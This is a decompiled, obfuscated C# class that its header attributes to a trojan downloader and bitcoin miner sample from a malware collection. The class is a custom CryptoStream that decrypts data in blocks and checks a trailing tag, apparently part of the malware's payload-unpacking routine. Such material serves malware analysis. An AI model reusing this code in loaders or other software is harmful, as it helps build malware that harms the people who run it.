// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u0001\u0002;
using \u000E;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

namespace \u0001\u0002
{
  internal sealed class \u0006\u0002 : CryptoStream
  {
    private Stream \u0001;
    private \u0007\u0002 \u0002;
    private byte[] \u0003;
    private int \u0004;
    private int \u0005;
    private int \u0006;

    public \u0006\u0002([In] Stream obj0, [In] \u0007\u0002 obj1, [In] CryptoStreamMode obj2)
      : base(obj0, (ICryptoTransform) obj1, obj2)
    {
      this.\u0001 = obj0;
      this.\u0002 = obj1;
      this.\u0003 = new byte[1024];
      this.\u0006 = 26;
      if (obj2 != CryptoStreamMode.Read)
        throw new Exception(\u0008.\u000E\u0003(981));
    }

    public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
    {
      int num1 = 0;
      while (num1 < obj2)
      {
        int num2 = this.\u0006 - (this.\u0005 - this.\u0004);
        if (this.\u0003.Length - this.\u0005 < num2)
        {
          int index1 = 0;
          int index2 = this.\u0004;
          while (index2 < this.\u0005)
          {
            this.\u0003[index1] = this.\u0003[index2];
            ++index2;
            ++index1;
          }
          this.\u0005 -= this.\u0004;
          this.\u0004 = 0;
        }
        this.\u0005 += \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, this.\u0005, num2);
        int num3 = this.\u0005 - this.\u0004;
        if (num3 >= this.\u0006)
        {
          this.\u0002.TransformBlock(this.\u0003, this.\u0004, 16, obj0, obj1);
          num1 += 16;
          obj1 += 16;
          this.\u0004 += 16;
        }
        else
        {
          if (num3 > 10)
          {
            int num4 = num3 - 10;
            this.\u0002.TransformBlock(this.\u0003, this.\u0004, num4, obj0, obj1);
            num1 += num4;
            this.\u0004 += num4;
          }
          else if (num3 < 10)
            throw new Exception(\u0008.\u000E\u0003(1018));
          byte[] numArray = this.\u0002.\u009B\u0003();
          for (int index = 0; index < 10; ++index)
          {
            if ((int) numArray[index] != (int) this.\u0003[this.\u0004 + index])
              throw new Exception(\u0008.\u000E\u0003(1063));
          }
          break;
        }
      }
      return num1;
    }

    public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException();
  }
}
